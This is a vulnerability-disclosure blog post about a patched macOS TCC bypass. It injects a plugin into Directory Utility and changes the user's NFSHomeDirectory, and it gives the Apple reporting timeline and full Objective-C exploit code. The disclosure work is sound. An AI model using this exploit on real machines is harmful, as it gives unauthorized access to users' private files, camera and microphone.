Introduction
This is the second TCC vulnerability that has been disclosed on my & Csaba’s talk “20+ ways to bypass your macOS privacy mechanisms” during Black Hat USA. This time by changing the NFSHomeDirectory variable I was able to bypass user TCC restrictions.
Do you remember the CVE-2020–9934: Bypassing the macOS Transparency, Consent, and Control (TCC) Framework for unauthorized access to sensitive user data article describing a vulnerability found by Matt Shockley? Well, that article inspired me to weaponize a small (as I thought at the beginning of this journey) bug I discovered.
How I found this vulnerability
According to the last blog post, in the summer of 2020, I was looking for code injection opportunities that may allow reaching TCC bypasses. My simple shell script discovered a potential victim - /System/Library/CoreServices/Applications/Directory Utility.app
. It had (and has) the following private TCC entitlement:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.private.tcc.allow</key>
<array>
<string>kTCCServiceSystemPolicySysAdminFiles</string>
</array>
</dict>
</plist>
This entitlement allows the Directory Utility to modify the user’s records stored in the /var/db/dslocal/nodes
directory. These records are normally accessible via Open Directory framework.
Let’s now talk a bit about the injection. That application loads plugins stored as Mach-O bundles with .daplug
extension.
It creates the injection opportunity, but I had to verify also that if the application didn’t have the hardened runtime
or/and library validation
flags:
$ codesign -d -vv "/System/Library/CoreServices/Applications/Directory Utility.app"
Executable=/System/Library/CoreServices/Applications/Directory Utility.app
Identifier=com.apple.DirectoryUtility
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20100 size=1451 flags=0x0(none) hashes=38+5 location=embedded
Platform identifier=10
Signature size=4547
Authority=Software Signing
Authority=Apple Code Signing Certification Authority
Authority=Apple Root CA
Info.plist entries=27
TeamIdentifier=not set
Sealed Resources version=2 rules=13 files=284
Internal requirements count=1 size=76
As you can see the flags
are set to 0x0(none)
, so we will be able to perform the injection and posses the com.apple.private.tcc.allow:kTCCServiceSystemPolicySysAdminFiles
private entitlement. I quickly coded an exploit and sent the report to Apple. At that time I didn’t know that this entitlement is much more dangerous.
Weaponization
After some time I stumbled across the above-mentioned Matt Shockley’s article on how he was able to bypass TCC only by changing the $HOME
directory via launchctl
. I was really curious about how Apple fixed that vulnerability so I started reversing the TCC. Turns out that now TCC takes the information about the user’s home directory from the getpwuid
function.
That function gets the user’s information from:
$ man getpwuid
[...]
DESCRIPTION
These functions obtain information from opendirectoryd(8), including records in /etc/master.passwd which is described in master.passwd(5). Each entry in the database is defined by the struc-
ture passwd found in the include file <pwd.h>:
[...]
opendirectoryd! Nice, we have control over these entries, so let’s code the exploit. One of the entries indeed stores the user’s home directory information:
You will find the actual exploit code at the end of this blog post. I sent all the additional information to Apple - that the vulnerability is actually more harmful than I thought in the beginning. As I could have planted my own user TCC database, it allowed me to bypass the whole user TCC. It means that this vulnerability gave access to Desktop, Documents, Address Book, Camera, Microphone, Photos and more.
I was really shocked that Apple decided that this vulnerability is not eligible for the bounty. I hope that the adjudication was a mistake caused by the initial report I sent (that didn’t fully show the actual impact). I asked Apple for re-adjudication, so I will happily update this post with the results.
Update 5th Nov 2021
I’m really happy to update this blog post as Apple decided to award the bounty for this vulnerability. 🎉
Proof of concept
Timeline
Date | Action |
---|---|
3rd June 2020 | Report sent to Apple |
5th June 2020 | Apple validated the report |
20th July 2020 | I asked for status update |
29th July 2020 | Apple responds that they are still investigating |
29th July 2020 | I sent the additional details with the fully weaponized exploit |
30th July 2020 | Apple responds that they are still investigating |
22nd August 2020 | I asked for status update |
25th August 2020 | Apple responds that this vulnerability will be fixed in the upcoming update |
12th November 2020 | Apple fixes this vulnerability in the macOS Big Sur 11.0.1 without CVE |
12th November 2020 | I asked why this vulnerability didn’t have the CVE assigned |
1st December 2020 | Apple decides to assign the CVE |
13th May 2021 | Apple adjudicates this issue as not eligible for the Apple Security Bounty 😮 |
13th May 2021 | I asked for the re-adjudication |
9th September 2021 | I’m still waiting for the re-adjudication |
3rd November 2021 | Apple re-adjudicates the issue and the bounty has been awarded 🎉 |
Exploit code
#import <Foundation/Foundation.h>
#import <OpenDirectory/OpenDirectory.h>
#define NEW_HOME_DIRECTORY @"/tmp/tccbypass"
#define USER_UID @"501"
ODRecord* getUsersRecord() {
NSError *err = nil;
ODSession *session = [ODSession defaultSession];
ODNode *node = [ODNode nodeWithSession:session type:kODNodeTypeLocalNodes error:&err];
if(err != nil) {
NSLog(@"%@", [err localizedDescription]);
exit(0);
}
ODQuery *getNFSHomeDirectory = [ODQuery queryWithNode:node
forRecordTypes:kODRecordTypeUsers
attribute:kODAttributeTypeUniqueID
matchType:kODMatchEqualTo
queryValues:USER_UID
returnAttributes:kODAttributeTypeStandardOnly
maximumResults:1
error:&err];
if(err != nil) {
NSLog(@"%@", [err localizedDescription]);
exit(0);
}
NSArray *foundRecords = [getNFSHomeDirectory resultsAllowingPartial:NO error:&err];
return foundRecords.firstObject;
}
NSString* getUsersNFSHomeDirectory(ODRecord *userRecord) {
NSError *err = nil;
NSString *nfsHomeDirectory = [userRecord valuesForAttribute:kODAttributeTypeNFSHomeDirectory error:&err].firstObject;
if(err != nil) {
NSLog(@"%@", [err localizedDescription]);
exit(0);
}
return nfsHomeDirectory;
}
BOOL changeUsersNFSHomeDirectory(ODRecord *userRecord) {
NSError *err = nil;
BOOL result = [userRecord setValue:NEW_HOME_DIRECTORY forAttribute:kODAttributeTypeNFSHomeDirectory error:&err];
if(err != nil) {
NSLog(@"%@", [err localizedDescription]);
exit(0);
}
return result;
}
__attribute__((constructor)) static void pwn() {
NSLog(@"Injected...");
ODRecord *userRecord = getUsersRecord();
NSString *homeDirectory = [userRecord recordName];
NSLog(@"Got OD node of user: %@", homeDirectory);
NSString *nfsHomeDirectory = getUsersNFSHomeDirectory(userRecord);
NSLog(@"User's NFSHomeDirectory: %@", nfsHomeDirectory);
BOOL result = changeUsersNFSHomeDirectory(userRecord);
if(result == YES) {
NSLog(@"Successfully changed user's NFSHomeDirectory");
} else {
NSLog(@"Exploit was unable to change user's NFSHomeDirectory");
}
nfsHomeDirectory = getUsersNFSHomeDirectory(userRecord);
NSLog(@"User's NFSHomeDirectory: %@", nfsHomeDirectory);
exit(0);
}